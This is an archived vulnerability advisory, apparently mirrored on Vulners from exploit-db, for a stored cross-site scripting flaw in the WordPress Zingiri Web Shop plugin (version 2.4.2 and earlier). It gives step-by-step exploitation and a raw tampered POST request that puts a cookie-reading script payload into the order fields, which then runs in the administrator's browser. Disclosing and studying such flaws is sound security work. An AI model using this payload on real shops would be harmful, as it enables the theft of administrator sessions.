Lucene search
K

Wordpress Zingiri Web Shop Plugin <= 2.4.2 Persistent XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

Wordpress Zingiri Web Shop Plugin 2.4.2 Persistent XSS vulnerabilit

Code

                                                ##############################################################################
# Wordpress Zingiri Web Shop Plugin &#60;= 2.4.2 Stored XSS
# Exploit Title: Wordpress Zingiri Web Shop Plugin &#60;= 2.4.0 Stored XSS
# Google Dork:
# Date: 30 Apr 2012
# Author: Mehmet Ince
# Twitter: https://twitter.com/#!/mmetince
# Company: Bilgi Guvenligi Akademisi ( www.bga.com.tr )
#
# Software Link: 
# http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.2.zip
# Version: 2.4.2
# Tested on: ubuntu 11.10 with apache server on the Firefox browser.
##############################################################################

Few days ago i discovered two XSS vulnerabilities at Zingiri wp-plugin.
After that script version updated 2.4.2 and bug fixed.
When i realized that i checked the lastest script to learn, &#34;what did they
for securing code ?&#34;
http://www.exploit-db.com/exploits/18787/


i saw aphpsSanitize() method at  vulnerable section. aphpsSanitize() pretty
cool for preventing XSS.

But what a luck, i discovered something else.
Now, time to explain our new bug. That&#39;s almost same with my oldest but
more complicated.


step 1: Login to wordpress.

step 2: Go to &#34;Shop&#34; menu. It&#39;s should be stay at banner.

step 3: Than you&#39;ll see list ot items. Click one &#34;t-shirt&#34; item.

step 4.1: Star Firefox&#39;s extension &#34;Tamper Data&#34;
step 4: You can pass that form action. That wont be problem..! Click to
&#34;Order&#34; button.

-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;prodid&#34;\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;prodprice&#34;\r\n\r\n35.95\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;featuresets&#34;\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;wsfeature1[]&#34;\r\n\r\n&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;\r\n\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;wsfeature2[]&#34;\r\n\r\n\&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;numprod[]&#34;\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
form-data;
name=&#34;sub&#34;\r\n\r\nOrder\r\n-----------------------------16079283545224173541938629871--\r\n

write your javascript payload to wsfeature1[] and wsfeature2[] variable.

step 4.2: After you send POST request. you&#39;ll see some pop-ups. click ok
and go

step 5: There is confirmation about the Shopping. Click &#34;checkout&#34; to pass
that page.

step 6: Click to &#34;Checkout&#34;

step 7: When administrator open your order details. Your javascript
payload&#39;ll come from database and execute on the administrator side.
But victem have to click detail of your order. Like that &#34;WEB20128-08&#34;.
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation